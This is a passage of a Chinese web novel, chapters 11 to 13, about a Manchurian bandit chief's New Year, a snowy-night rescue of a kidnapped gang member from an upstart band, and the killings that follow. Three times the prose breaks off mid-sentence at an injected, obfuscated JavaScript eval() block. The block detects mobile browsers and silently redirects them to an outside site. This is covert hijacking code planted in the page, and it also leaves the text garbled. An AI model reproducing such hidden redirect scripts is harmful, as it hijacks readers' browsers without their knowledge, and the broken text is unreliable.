前几天,几个崽子不知道从哪里拐带来一头猪,在三十儿早上杀了。万山雪不得已在猪的嚎叫声中醒来。人虽然醒了,却只是烦躁地翻了个身,妄图能够无视掉那头猪的声音和崽子们的呼喝声,回到黑甜的梦乡。 但是他的意图很快又被郝粮打破了。她一个人就热热闹闹地走了进来,让人想装糊涂也不行。 “起来了,今天过年,怎么还懒在这儿——” 万山雪发出一声含混不清的嘟囔,试图蒙混过关。 “快起来!试试我前几天给你做的新衣裳……裤脚袖口长了还能改改……”她的声音越来越近,说最后一句话的时候,屁股已经坐上了炕沿,听起来,似乎已经抖开了怀里的衣裳,“这款式听说时兴儿呢……我也不知道做得好不好——欸呀,快起来吧,莲莲?” 万山雪猛地坐了起来! “姐,你……我起来了,起来了。我求求你了姑奶奶,少这么叫我……” “得了吧你,没人听见!” 万山雪叹了口气,心想,就你这个嗓门儿?那可说不准。 于是他认命一般地展开手臂,稀里糊涂地脱下上衣,任由郝粮的手在他身上鼓捣:他身板挺壮,线条又很精干,胸前鼓鼓囊囊的,不怪郝粮用指尖恨恨地戳了两下,他只当是蚊子叮了两口。而且郝粮还在他耳边絮叨:“真忙啊,一到了过年就这么忙,晚上怎么得吃一条鱼吧?史田走之前下山买了不少,说是松花江里的白鱼,拍着胸脯打包票说好吃……这玩意怎么掂兑?我估摸着还是红烧吧,大家伙儿爱吃……昨儿走了好几个崽子,都是有家有靠的,今年就剩下……” 在郝粮的絮叨声里,他又昏昏然睡了过去。猪叫声停止了,看来是有个下手快准狠的,结束了它的痛苦。 他大约就睡着了一秒钟,很快就听见“大柜——”的一声,一睁眼,看见济兰站在门口,手里的东西劈里啪啦掉了一地,见他看过来,很快又蹲下去捡,一边捡,一边避免了直视他们两个。 “昨天粮姐让我帮忙记记账,下山的人多……”说着说着,万山雪看见他的额头也跟着变红了,更是一头雾水,“你们,你们忙……” 他抱着厚厚的账本子站了起来,脸儿也红红的。可是脚步却没有动一下。 万山雪头很疼地出了长长长长的一口气,终于有时间低头打量自己身上这件新衣服,是一件怪模怪样的褂子,其实袖口并不短,就是胸前放量少了,前襟的扣子怎么样也别不上。 他又抬起头来,只见到郝粮和济兰都脸蛋通红地瞅着他。 “咋了?改啊?”他问郝粮,又很嫌麻烦地摆摆手,“算了,将就穿……” 衣服大了好改,小了就真没办法。 “嗯……没事儿。”郝粮突然看见了炕边还抱着账本不动弹的济兰,双眼一亮,“来,济兰,你大哥穿不了,我看你正好……” 在济兰的推脱和挣扎声中,万山雪甩下褂子和他们两个,赤着上半身逃下了炕;院子里,崽子们正在给猪放血。冷风一激,他终于彻彻底底地醒了过来,郝粮追了出来,硬要他先穿上一件衣裳,他笑眯眯地指挥他们:“缸里还压着你们嫂子腌的酸菜,晚上一起炖了。” 11. 第十一章 过年(下) 正如郝粮所说,过年,果然非常累人。 即便是万山雪,整个绺子的大柜,也得被她抓壮丁:她似乎对这一天的当家作主非常满意,指挥着几个崽子在厨房里头打下手,信心满满,威严十足。万山雪在旁边按照她的指示,用筷子搅和着饺子馅,给馅子上劲儿。 济兰是因为刚来到绺子,逃过一劫,可以继续去核实下山过年的人员名单。路过收拾年猪的几个人,他被血腥气激到鼻子,连打了几个喷嚏。 万山雪打好了馅子,已经提前从厨房溜了出来,假装要去帮忙收拾猪下水,实则一头扎进了后山。 等他打光了子弹,晚饭时分偷偷溜回来的时候,屋里的大炕已经烧热了,又把桌子都在屋里架好了,菜都齐备了:热腾腾的杀猪菜,里面炖着新杀的猪肉,现灌的血肠和一整个冬天的酸菜、红烧白鱼、拌好的几大盆凉菜,晚上的漂洋子也已经调好了馅和好了面,饭后再包。 四梁八柱都下山了,只还有一个闷闷不乐的邵小飞,留在山上过年,他坐在万山雪左边,郝粮坐在万山雪右边,济兰则挨在郝粮旁边。 在深冬里,没有比热腾腾的杀猪菜更好的晚饭了,暖和,香。即使是出身甚高,十分嘴挑的济兰也吃了不少。邵小飞咬着筷子,吃饭忸忸怩怩的,被万山雪在后脑勺量了轻轻一巴掌。 “吃啊,怎么,给你嫂子包的漂洋子留肚子呢?” 邵小飞咬着下嘴唇不说话。万山雪却把长颈的小酒瓶拿过来,给他斟了一杯酒。 “得了,别七个不服八个不忿的了。今天过年,破例让你喝一口,山串(醉)一回。” 邵小飞一愣,马上又把酒杯送到嘴边,一口干了!干了之后,眼睛却红红的。万山雪大笑起来。 “行了,别跟你哥怄气了。”说罢,又随手揉乱了人家的头发。话音一落,邵小飞突然“嗷”地哭了一声,趴在他的肩膀抽噎起来,他哭笑不得,只好像是给襁褓中的小孩儿拍嗝一样,轻轻拍了拍他的后背。 过年是个好日子。 只是留下来的,往往都是无家无口,没有牵挂的。这时候,要是真的山串了,哭的也有,笑的也有。尤其是郝粮已经端着酒杯下去,喝倒了一片。一群醉鬼拍着巴掌起哄让万山雪唱一段。剩下几个清醒的,去灶台下漂洋子。 “唱唱唱,唱什么?” “唱个搞对象的吧!” 此话一出,大家伙儿都粗野地笑了起来。胡子们大多都是光棍,有相好的,也都在今天或者前几天下山去了。当了胡子,天好的姑娘也不兴你动心。 万山雪坐在炕头,用筷子敲起了碗沿。 “一更里呀,月牙才出来呀啊 貂蝉美女呀啊走下楼台呀 泪流满腮啊, 恨只恨董卓贼,恨只恨董卓贼 他把那个良啊良呀么良心坏啊 哎咳呀哎咳呀 二更里呀,月牙出正东啊 南塘报号啊,名叫小高琼啊 收下小姐刘凤英啊 刘小姐呀为高郎,刘小姐呀为高郎 才得那个相呀相呀么相思病呀 哎咳呀哎咳呀 三更里呀,月牙照正南呐哎咳呀 韩湘子出家呀,就在终南山哪 一去三年不会还哪 三渡啊林英啊,三渡啊林英啊 夫妻那个重啊重啊重呀么重相见呀 哎咳呀哎咳呀 四更里呀,月牙偏了西呀啊 马国母啊,被围在禅宇寺啊 救驾多亏伍子胥呀 伍子胥抱幼主,伍子胥抱幼主 闯出那个禅哪禅哪禅呀么禅宇寺呀 哎咳呀哎咳呀 五更里呀,月牙出北方啊 征西先行啊,名叫罗章啊 对松关收下洪月娘啊 洪月娥呀为罗章,洪月娥呀为罗章, 才把他的爹呀娘啊爹呀么爹娘忘啊 哎咳呀哎咳呀……” 他本是一个低沉的嗓子,唱起戏来,却粗犷高亢,唱起这缠绵悱恻的小曲儿,别有一番风味。唱到第一句的时候,堂下醉鬼一个劲儿地鼓掌,唱到后头,起哄声渐停了,都听得有几分恻然。万山雪自顾自地唱他的小调,单手托着腮,另只手敲着碗,油灯照着他水水的,孩子般的眼睛,显得亮而忧伤,像是关外孤冷寒天上的星子。 唱完这首,万山雪突然抬起脸来,看见济兰正眼也不眨一下地盯着他,嘴角倏尔向上一勾,勾出一个带着微醺的坏笑——他一点也不忧伤,还是那个酷爱残忍恶作剧的年轻的胡子头儿。 济兰将眼睛挪开了。 “都山串了?漂洋子上来了,能吃就吃!”万山雪突然嗷唠一嗓子,震醒了趁着他的小调,在他膝头睡着的邵小飞;邵小飞脸上还带着泪痕,稀里糊涂满面通红地跳了起来:“漂洋子……漂洋子……吃……” “粮姐,让他去靠(睡)吧,就放咱们那屋就行……”万山雪一开口,郝粮已经轻车熟路地把邵小飞扶了起来,送回屋里炕上睡了。 邵小飞和郝粮一走,万山雪自然和济兰挨着了。奇也怪哉,济兰只是肉票的时候,万山雪总是乐意逗逗他,臊臊他,可是他真成了他的翻垛,万山雪和他的距离却一下子变得令人捉摸不透。 就比如现在,万山雪只是喝酒,谈笑,看也没有看上济兰一眼。 “大概也到子时了。”郝粮回来了,在万山雪的另一边跟他说话。屋子里大家伙儿都醉了个横七竖八,郝粮的脸儿比平时更红了,也有几分微醺,具体表现在说上一两句话就咯咯直笑,万山雪只是微微笑着,看她说话,等她笑完,“这帮马拉子,没一个喝得过我!欸呀……你看看下面这些杯盘碗碟,全都空啦!” 万山雪说:“因为你做的年夜饭太好吃了。行啦,你也累了,回去睡吧。这些杯啊盘啊的,等这帮犊子醒过来自己收拾。” “行……当家的……我去睡了……”郝粮打了一个大大的哈欠,下了炕,“可真是把我累坏了——” 万山雪脸上现出温情的神色,刚要张口说话,突然—— “咣当”一声!正堂大屋的门被撞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516193|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了! 一个人跌跌撞撞地摔进了门,原来外头正在下雪,于是这个人满头满脸满身都是雪沫子,就像一个雪人。他猛地脸朝下往地上一扑,又挣扎着爬了起来。 万山雪下炕的动作比谁都快,那人在地上挣扎的时候,他已经扑上前去,两只手搂住来人的腋窝,一下子把他提了起来!那人栽栽楞楞地勉强站住了,一抬起脸来,正是于敏讷!只见他额头又白又红的,是血浸透了雪,混在一块儿,慢慢滴了下来。 “秀才?你回来干啥?咋的了?” 于敏讷眼里包着两包泪,把嘴一咧,哭了起来。 “大柜,秧子房的……掉脚(让人抓住)了!” 万山雪浑身一凛,皱眉道:“怎么能掉了脚呢?拿准了是掉脚?是不是碰上外哈(其他胡子)了?” 于敏讷一个劲儿地摇头,身子还冷冰冰地打着哆嗦;他本来不会骑马,为了报信儿,硬是借了匹马,跨上就跑,一路上不知道摔了几回,脸上的雪化了,更看出来鼻青脸肿的。 “不知道。昨天我还见过正青,他说要去围子里头,上花果窑子找小白龙去。然后今儿我就听人说围子里头响(打)起来了!乱成一片……昨天我俩分手之前,我跟他说,今天来我家过年,结果到了晚上他都没来……我出去打听,又听说围子里那帮人劫走一个……听他们说长啥样……我猜是正青……” “你先别急。”屋内一片冷寂之中,济兰从炕上下来了,思索片刻,说,“今天是过年的日子,是谁也不能是跳子(兵)。围子(村)里头‘响’,肯定是一小绺人,大年夜纠集起来专上围子里去找事儿?那更不会是跳子。” “按你的意思,是外哈?”万山雪道。 “只是在我看来,最大的可能是外哈。”济兰的胳膊夹着另一只胳膊,摆在胸前,一只手摸着下巴,边想边说道,“而且,应该是那种盯了很久的外哈!一下子抓住了今天这个机会,才把秧子房掌柜给劫了。” 所有人的目光都盯在济兰脸上,他却浑然不觉一般,一边在屋子里徘徊,一边说:“我初来乍到,不敢随便断言。但我猜测,是不是大柜有什么仇家,盘行话怎么说……就是‘黑吃黑’?” 万山雪沉默片刻,忽然冷笑了一声。 他英俊的脸庞只在一瞬间就阴沉下来,没有人敢说一个字,于敏讷抖得更厉害了。 郝粮静悄悄走到了万山雪旁边,两条胳膊抱上了万山雪的胳膊:“当家的,是……是三荒子吗……” 她不说还好,一提到这个名字,万山雪忽然将手从她温暖的怀里抽了出来,转头喝道:“备马!” “当家的!”郝粮惊惶地将他一拉,到底拉住不放,“这醉的一地,又有一半崽子都下山了……史田他们也都不在……怎么救?” “我一个人也照样去!”说罢,万山雪猛地看向旁边瑟瑟发抖的于敏讷,“还不快去!” 秀才猛地“哎”了一声,又跌跌撞撞地往外跑,郝粮急得直跳脚,病急乱投医,又转向济兰:“快拦拦你大柜,他个傻子,要跟人拼命去了!” 12. 第十二章 报号 “大柜,马备好了……” 于敏讷狼狈地从门外钻了进来。万山雪将郝粮甩开,转身便往门外走! “大柜!” 这回是济兰说话了。郝粮的眼里又立刻充满了希望。 “你也要拦我?”万山雪回过身子,半张侧脸冷幽幽的,眼中却闪烁着怒火。 “我跟你一起去。”济兰平静地说。 郝粮倒吸了一口凉气,看看这个,又看看那个,喃喃说:“一个两个的都管不了了……” “那就走。”万山雪说,说完推门就走。郝粮一把抓住要跟上去的济兰,仍然是满面担忧。 “看着点儿大柜……要是救不回人……就从长计议,不要硬响(打)!” “知道了,嫂子。”济兰微微一笑,拍了拍她的手背,说不出的稳重,令郝粮稍稍放了些心。 “还有,他出去急,风冷……你把帽子给他带着。” 门又开,她担忧地望着,只见风雪越见大了,狂呼猛啸的大雪粒子几乎让人睁不开眼,一阵风吹过,将两个人的身影一霎卷去了。 “驾!” 马鞭高高扬起,重重落下! 这清脆的一声,在风雪的呼啸声中,就像是一根枯枝被大雪压断那一瞬一样轻。 万山雪□□的一匹白马,在这样的风雪之中仍显示出非凡的神勇,济兰跟在后头,眼也不敢眨,仿佛眨了一次眼,那一人一骑便会彻底消失在视野里。 “大柜!”他张口一叫,立刻吃了一嘴的风和雪,连连呛咳起来,只好闷头跟着跑,就这么样跑了不知道多久,他们终于停了下来。 他们仍在关东山的一侧,只是现在马蹄下的土地,却是另一片小山脉。济兰滑下马背,把怀里抱着的帽子递了上去;万山雪随手接过来,扣在头上。那是一顶貂皮帽子,黑色的貂毛摸起来顺滑,戴上去暖和。 “我们要去哪儿?”济兰问道。 万山雪的扬鞭一指,只见山棱凹陷之处,有一条小小的土路,本来已经隐没在厚厚的雪层之中,其上却又有几行人马踪迹。济兰说:“这是……”万山雪却已经上前,用脚尖拨了拨土路上的马粪,道:“都还没冻实。没跑儿了。” 说话间呼出的白雾缓缓向上升去,略略打湿了他的睫毛;风吹着他头顶的貂皮帽子,也吹着帽子下头格外显小的面庞。 “这就是三荒子……的绺子?”济兰问。他的脸几乎都被西北风刮得麻木,不得不猛搓了两下脸颊才张得开口。 “不是。” 济兰歪了歪头。 万山雪摇了摇头,说:“我了解三荒子,他是个孬种。点不活(目标不容易拿下)的,他不出手;难踢的卡拉(难打的围子)他也不进……蹲上个十天半个月就为了盯人,他可能会干……只是他在柳条边底子潮(有前科),我也有我的内盘(眼线)……计正青被他抓去……不太可能。” 济兰若有所思道:“那这么说,是不懂规矩的外哈?这又是哪里?” 万山雪说:“这儿是离柳条边围子最近的一块地方,关东山的绺子,我还是知道一些。这个山卡拉中间窝进去,冬天挡风,夏天遮雨……前阵子听说这儿新有人起皮子(起事开局),还真给蒙着了。” 万山雪冷冷一笑,重新骑上他的白马,马儿长嘶一声;厚重的貂皮帽子压着他的眉眼,万山雪在马上一扬鞭子,道:“翻垛的,你敢不敢跟老子上去碰碰码(见见面),教教他们,什么是关东山的规矩!” * 今晚是一个并不安宁的大年夜。 比起守夜,马坨子的当务之急,是把新绑来的肉票绑好,关进秧子房。 这是他们干的第一单,绺子刚起局(成立),划拉划拉,拢共才有二十二个人;这一回,千辛万苦绑来一个秧子,看穿戴,身上总有几个钱,就是太难抓,本来想直接“拍花子”(迷晕),没成想,这人手还挺快,举枪就射,两方在围子里响了起来! 他有些发愁,不禁对大柜咬起了耳朵:这总不该,是个“里码人”(同伙)吧?大柜那眼神儿也惴惴的,听见他问,突然瞪起眼睛来:是个屁!有枪就是吗?等会儿再打他一顿,让他描朵子(写信)! 忠言逆耳啊!马坨子想。 他心里翻江倒海,今晚他值夜,就守在山卡拉的关口上。他一边徘徊,一边暗自祈祷,这秧子可别叫他们打得太狠……至于为什么?他不知道。这似乎是一种直觉。 说到底,他的直觉一开始就告诉他,他们根本就不该起局当胡子! 给地主徐老三抢了地之后,他就跟着他们几个上山来了;上来之前,他还跟二妹子保证过,说等他攒够了钱,就拔香头子下山娶她。现在怎么样呢?绑了这么个人,要不是大柜说,有人提点着他…… 远处的山路上,忽然慢慢现出一前一后两匹马来。 马坨子一下子定住了! 当先的戴着一顶纯黑色的貂皮帽子,帽子底下的脸隔着风雪看不真切。马坨子壮了壮胆,大声道:“站住!你是谁?” 那人“吁”了一声,勒住马缰,□□纯白色的高头大马听令停了下来,乖觉得听得懂人话似的。 “我是我。”那人说。 ……完了,真是里码人!马坨子壮了壮胆。 “压着腕。” “闭着火。” “在哪盘过来?” “关东香炉山!” 香炉山?香炉山有谁?马坨子的脑中一片空白。他总觉着在烧锅店、花果窑子踩盘子这几天,听人提起来过,香炉山那个最大的匪头子……叫,叫什么雪来着? 他的嘴唇颤抖起来。 “并肩子甩个蔓?” 那人似乎笑了一声,又冷又轻,像是马坨子自己的幻觉。 “捣米子蔓!” 捣米子蔓……捣米杵……姓褚!姓褚,香炉山,他想起来了,是那个万山雪啊! 马坨子张口“诶哟我的妈呀”了一声!忽然,那人将手一抬!他手忙脚乱要从怀里掏枪的时候,“砰”地一声,对方的子弹已然飞来——射中了他头上的那顶狗皮帽子,打了一个冒烟的窟窿眼。 马坨子两腿一软,“咚”地跪了下去。 屋外,马坨子倒地不起。屋内,这个崭新的大柜心里也正打鼓。 他坐在凳子上,心里想着刚才那个秧子七个不服八个不忿的眼神……还有那枪法!秧子一枪下去,打伤了他手底下的一个崽子,他当时就勃然大怒,一枪打中了他的肩膀,这才把人擒下。 可是,秧子受了伤,这就不好办了。 他开始吧嗒着烟嘴发愁。 道上规矩,得先等着人家屡请不赎,再说动刀动枪的事儿。现在好了,他刚起局,办的第一件事就这么不顺!他有心找个崽子去秧子房看看那肉票死没死,一抬眼,看见一个正侍弄灶台的,张口叫住:“诶!那边那个崽子!你去看看秧子房里那个——” 话说到一半,他眯起了眼睛。 “等会儿……你抬起头来,我瞅瞅。” 那人的动作顿了一下,微微抬起脸来,灯下面目模糊,看不真切。 但大柜还是觉得哪里不对。 这身影、这脸盘,看起来都那么陌生,这人什么时候出现在他绺子里的?他立刻向怀中摸枪,但是那人比他更快!“砰”地一声!他的右手腕后知后觉地剧烈疼痛起来,枪也啪嗒落到地上,被那人扑上来一脚踢远了。 冷冰冰的枪口抵上了额头。 “别动。” 他打了个哆嗦,一动也不敢动了。 他看清了那人的脸,皮肤很白,样貌很俊秀,微微一笑,两只眼睛就跟着弯了起来。 万山雪和济兰,一前一后,走进了堂屋。 屋内只有一个抓着自己血流不止的右手腕喘气儿的男人,见到他们进来,从他自己高高的椅子下头爬了过来,济兰似乎吓了一跳,向后退了两步。 “大柜……万山雪大掌柜的……救命啊……”他爬了过来,一只手死死地抓住万山雪的脚踝,万山雪低头看着他,“我错了……我真错了……我是狗眼不识泰山……绑了……绑了……” 万山雪笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516194|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一声,仿佛还很和气似的。 “绑了我的秧子房掌柜。” “诶……诶……”那人气喘吁吁地点了两下头,哀求道,“您等着就是了……他——” 他话说到一半,已经有人从堂屋后门的小道上走了进来,背上还背着一个人,见到万山雪来了,英俊秀气的脸上露出一个爽朗的笑容,他背上的人正在顺着他的脊梁骨往下滑去,他又颠了一下,把那人背得高了一点,背上的人牵动伤势,喘息重了一下。 “大柜!”他喜气洋洋地叫了一声,把后背上那人的白眼无视掉了,“你也来了!这位是——” 万山雪看了一眼旁边的济兰,对着此人笑骂道:“小白龙!去你妈的,你小子到底躲哪儿去了!还算你有点良心,知道来救人……” 小白龙郎项明“嘿嘿”一笑,道:“大柜别怪罪。我本来早就想回去了。就是……就是梦秋那边……一直拖到过年,我寻思大伙儿也都该猫冬了,我就开春再回。没想到咱正青下来找我,赶巧我不在窑子里,过一会儿回来了,他们说正青给人抓了!我这就来了。” 计正青趴在他背上,手臂上草草缠着破布条,里头仍有血渗出来,但脸上还是冷冷的:“哦,算你有良心呗?” 小白龙像是听不懂弦外之音一样挺了挺胸膛,计正青差点又一次滑下去。 “得了。回去让你嫂子给看看。”万山雪道,这是对着计正青说的,说完,他又转向地上仍在呼呼喘气儿的人,用脚尖踢了踢他,他立刻痛叫一声,但仍腆脸笑着:“大柜吩咐,吩咐……” “报号?” “报号……不,不敢有,不敢有……” “让你说你就说!”小白龙不耐烦道。 “报号……”他脸红了,“……土豆子。” 万山雪哈哈大笑起来,济兰也忍不住跟着笑了。 “行,土豆子。我不插(杀)你。”笑完了,万山雪说,“滚出关东山。再让我见着了,一枪点了你!” “不敢了,不敢了……小的就带着弟兄们滚……再也不敢出来碍大柜的眼了……”土豆子打着哆嗦,脸色越来越白,他的血要是再流下去,可能真的会死。 万山雪也想到了这一点,但仍问道:“谁给你的熊心豹子胆,让你来劫我的人?” “不敢不敢……小的要是知道,是您的人……借我十个胆子也不敢啊!是……是北边关东山的一个大绺子……我们本来想去投奔……但是大掌柜的说,让我,让我们交个见面礼……” 见面礼,也就是投名状。 万山雪的眉头皱了起来。 土豆子断断续续地喘着气,说:“他说,有个有钱的公子哥儿,总是耽在花果窑子,是个红票……让我们把他绑了,然后要来飞虎子(钱),带着去给他,这才能靠他的窑(投奔他)……” “他叫什么名儿?” “叫,叫……三荒子……” 万山雪忽然不动弹了,除了济兰,所有人的脸上都严肃起来,计正青和小白龙交换了一个眼神。 “好,很好。”万山雪切齿道。而后,他大发慈悲地一甩脑袋,走了出去。济兰和背着计正青的郎项明跟在后头。 他们一走出去,屋外的雪粒子又一次呼啸着扑上他们的面颊。他们一路说着话走到了山门口。恰在这时,马坨子也终于找回了他被万山雪吓跑的勇气。那是一瞬间的事儿,他猛地从地上跳了起来!万山雪“嗬”地笑了一声。马坨子抽出了他的枪,紧接着,是“砰”的一声!马坨子站着的身体顿住了,尔后颤了一颤,然后,便像是一个栽栽楞楞的木头桩子一样,仰面倒了下去——身体从山路侧面跌了下去,落进一人高的雪里面去了。 鲜红色从那个人形的血坑中缓缓向四周染开。济兰收回了枪。 他冷白的脸上一派镇定。似乎杀人对他来说,就像说“今儿晚上飘六花子摆(雪)”一样简单。 “我是不是也该有个报号?”在众人都望着他的时候,他突然冷静地说,甚至微微笑了一下,望着那个染红的雪坑,说,“就叫‘雪里红’吧。” 13. 第十三章 拜年 后半夜,鸡叫了第一声,两扇大门终于给推开了。 正在收拾满桌杯盘碗碟的郝粮听见动静,从灶房往大屋跑,慌乱之中一摞盘子摔在地上,粉身碎骨,她甚至没来得及多看上一眼,就一边在围裙上擦手,一边一头撞进了屋里。 屋子里站着坐着一共五个人,除了一直在屋里等信儿的秀才,就是那最让她操心的几个男人,都是一身的雪,正低声说着话,见她从灶房里冲出来,都突然噤声不语,脸上挂着别无二致的傻笑;万山雪突然对堂屋的大梁产生了别样的兴趣。 “都活着呢是吧!还知道!回来!”郝粮已经冲了过来,隔着万山雪厚厚的袄子,每说一句,就狠狠给他一下,除了不太能动弹的计正青,其他人都立刻作鸟兽散——济兰还没躲出几步,忽然被郝粮一只长了眼的手一把搂住,搂进一个暖呼呼的怀抱里,他的脸被按在郝粮的肩窝里,简直喘不上气来,但是他听出来郝粮哭了,“好孩子……你要是不看着他,我真不放心……我还以为你们都回不来了……你个倔种!” 最后一句是骂万山雪的,济兰涨红着脸从郝粮的怀里挣脱出来,余光之中,万山雪无奈地笑了,很有几分手足无措的样子,似乎想要抱住郝粮,又不敢伸手,直到郝粮扑进他怀里大哭起来。 “你说你这……欸呀,大家都看着呢……”万山雪拍着郝粮的肩背,动作很轻,好像她是个玻璃做的人,其他人都齐刷刷地开始研究整个屋子的装潢情况,“这不是回来了吗……我还真那么傻,单枪匹马跟三荒子响(打)?别哭了……一会儿大伙儿笑话你了……” 又抽噎了几声,郝粮终于止住了泪,推开万山雪,用袖子抹了抹眼角,这才破涕为笑:“瞅我……真让大伙儿笑话了……” 剩下四个人立刻异口同声:“没有没有。” “行了……一会儿天都亮了……大伙儿都睡去吧?正青伤着哪儿了?嫂子给你上药。”郝粮几乎是立刻就恢复了她粮台的稳重的本色,要不是她眼圈还红着,别人还真以为她早已习惯了刀口舔血的响马生活。她一发话,大家没有不从的,就连万山雪也立刻说困了。 济兰跟着万山雪并肩走出大屋。这时候雪已经停了,院内垒着一层厚厚的新雪,每走一步,雪都淹到脚脖子。 今晚实在有很好的月光。 关东的月亮明亮而孤冷地高悬在天空正中,照耀得满地新雪反射出格外明亮的光辉,就像是一个并不那么明亮的白昼。济兰忽然问道:“三荒子到底是谁?” 如此静夜,仿佛方才的大雪只是一场幻觉。万山雪沉默片刻,说:“一个胡子。一个仇人。” “仇人?”济兰咀嚼着这两个字。这是一个身份的定义。万山雪也会有仇人么?他看起来义薄云天、快意恩仇——不过胡子之间有些矛盾,听起来也很平常。 “仇人。”月色照着新雪,于是也同样照耀着万山雪冷峻的侧脸线条,侧脸的腮帮子上突然轻微地凸起了一下,似乎是他咬住了后槽牙,“不是他死,就是我亡的仇人。” 两个人并肩走在院子里,雪在他们脚下嘎吱作响。济兰长长吐出了一口气,眼见着那口气变成了一道白雾。 “所以……我们早晚有一天,要插(杀)了他,是吧?”济兰问道。 “怕了?”万山雪睨着他,济兰突然发现万山雪比他高了半个头,“你以为当胡子是住高楼、睡女人,砸砸你大伯那样儿的废物的窑……” “我没这么说。”济兰道,万山雪没办法猜出那颗美丽的脑袋瓜里究竟在想什么,但是这终归是他选的人:机灵、心狠、管直……尽管有的时候似乎有点太心狠了;济兰继续说,“他到底是怎么和你结仇的?” 万山雪的脚步停住了。 济兰执拗地看着他。他只好不耐烦地抓了抓头发,说话的时候眼睛望着别处。 “这有啥好问的啊?就是他哥被我爸给插了,他就想来插/我。” 哦,还算世仇。 但是不等济兰再追问下去,万山雪忽然一转身,加快了步伐,走到了自己和郝粮的屋子,快步走了进去,“当”地关上了门。 兵荒马乱的一晚上结束得很快。纵使冬日的天总是很短,关东的日头却依旧早早地出来了。但香炉山仍然沉沉地睡着。年初一的早上,又是刚刚经历过一夜的奔波,确实就该这么安静的。 万山雪从一场长长的,糟糕的梦中醒来,炕上只有他一个人。 他揉着眼睛,从暖烘烘带着羊油块子(肥皂)味儿的被窝里钻出来,伸了一个很大的懒腰。等他收拾好自己个儿,甚至刮好了胡子,油光水滑地一脚踹开了济兰的屋门。 “走!跟我下山!” 自从成了翻垛的,济兰就有了他自己的小屋——说来有点晦气,就是他做肉票的时候住的那间。见万山雪一进来,济兰猛地从炕上坐了起来,还死死抱着怀里的被子,脸涨得通红:“你进屋怎么不敲门的!” 他肤色本来极白,此刻满脸红晕,柳眉倒竖,煞是好看。 万山雪吹了声口哨。 “都是大老爷们儿,咋就你跟个大姑娘似的。走,下山。” “……我要穿衣服!”济兰喊道。 万山雪不置可否地一撅下嘴唇,笑着走出去了。 说来也是唏嘘,济兰一到了关外柳条边,就给万山雪劫了,连关东正经什么样儿还没怎么见过呢!不过万山雪可没好心到亲自领着济兰下山玩耍的地步。尤其是这么样寒冷的冬天。 济兰穿得暖呼呼的,戴着胡子们最看重的貂皮帽子,跟在万山雪身后下山了。 今年是一个严冬。 土路上散落着一个又一个裂口,老人说,这是大地给冻裂了;一张张口子就这么样张着,像是一张张讨食的嘴巴。 今天是大年初一,这条十字街上也车马稀疏,连带着这条路口上最大的一个车店也门厅寥落。 老钱家车店在这条道口开了二十年了。 据他老钱本人吹的牛,他爷爷打咸丰年间就来了柳条边,怎么说他家车店也算得上是个“老字号”,尽管没有店像他这么算经营年限的。老钱长了一张十八岁如此、六十八岁依旧如此的脸,年轻的时候显老,老的时候显年轻,因此也有一个别号,叫做“老来少”。 小栓子是老来少的小儿子,此时正在门口打盹。听见脚步声,他猛然惊醒,先是见到了那匹白马,又看见了马上那人,顿时喜笑颜开,从小马扎上跳了起来,叫道:“财神爷!你来啦?多少日子没见您老了。吃快当还是住快当?诶哟,这位是您的……” 万山雪下了马,亲自把腿伤还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516195|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没长好的济兰扶下马背,这才走上前来,很是用了些力气,把小栓子脑袋瓜上的头发揉得乱七八糟的:“吃快当,不耽误你们吧?哦,这是我弟弟。” 小栓子好奇的眼神一到了济兰脸上就下不来了——他们关东山柳条边这一片儿什么时候出过这么俊的人物了?他愣神的工夫,万山雪叫了一声“小栓子,来给老子压连子(牵马)”,他立刻回了神,殷勤地牵起马缰来。 “瞧我这脑袋!快进屋台上拐着,炕头给您几位留着呢……我爹这几天还念叨,您几年都不来了……” 万山雪走在最前头,济兰紧随其后,小栓子去牵马了。他们两个一进门,挟着一股子严冬的寒风,扑进整个暖融融的车店。门口柜台后头,倚靠着站着一个花眼老头子,手里托着一个几乎看不出本色的黄铜烟杆,总让万山雪疑心这烟袋锅子也跟这家车店一样,是一个“代代相传”的“老字号”。 老来少见了他,也不招呼,眯着他浑浊的老眼,突然吐出一口同样浑浊的烟。 “你还知道来?” 济兰一惊,一只手已经握住了袄子里的花口撸子。但万山雪还是笑眯眯的。 “生意忙啊。怎么的,您老想我了?” 老来少“啐”了一口,用那双肿泡眼往济兰腿上一扫,问道:“腿脚咋的了?” “受了点小伤。”万山雪也扫了一眼,笑道,“还得是您老眼神好,现在还有点儿跛,我家那口子不会照顾人,一直没好全。” 